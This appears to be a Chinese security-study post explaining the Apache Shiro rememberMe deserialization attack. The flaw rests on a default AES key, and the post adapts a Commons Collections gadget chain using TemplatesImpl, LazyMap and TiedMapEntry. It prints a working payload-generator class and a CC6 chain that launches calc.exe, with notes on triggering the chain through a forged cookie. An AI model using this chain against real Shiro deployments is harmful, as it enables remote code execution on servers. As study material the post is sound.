Shiro反序列化 在CC3的链子中使用了Templateslmpl
加载任意恶意类 可以执行任意java代码
它与CC6链子的区别 就像php中call_user_func
与eval
的区别一样 造成任意代码执行的eval
显然具有更高的价值
shiro框架的漏洞在rememberme的自动登录上 会存一段aes加密的数据在浏览器中,再次访问时通过cookie携带 到达后端后反序列化以加载用户数据 而这个aes加密有一个默认的Key 那么就可以攻击不修改Key的网站
Shiro链子 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollectionsShiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry (outerMap, obj); Map expMap = new HashMap (); expMap.put(tme, "valuevalue" ); outerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }
代码前后的部分都很熟悉 但是中间的部分看着很奇怪 不妨把之前的代码贴上对比一下:
Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]} ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" } ) }; ChainedTransformer chain = new ChainedTransformer (transformers);Map lazyMap = LazyMap.decorate(new HashMap (), chain);TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" );HashMap hashMap = new HashMap ();hashMap.put(entry, "bar" ); lazyMap.remove("foo" );
不同点1:翻译链变成翻译器了 Transformer transformer = new InvokerTransformer ("getClass" , null , null );
没有常量翻译器了我们怎么返回需要的类?
public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
原来是Lazymap
的get
方法会自己触发翻译 也就是说此时key作为恶意类进入翻译器就可以省去常量翻译器了
需要进行改动的原因:
这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就 解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
不同点2:lazymap清除缓存的另一种写法
这里写作:
事实上是一样的效果 如此一来就可以通过更改cookie的方式触发恶意的反序列化操作 弹出计算器了
需要注意清除session否则会话过期之前 rememberme的部分不会被反序列化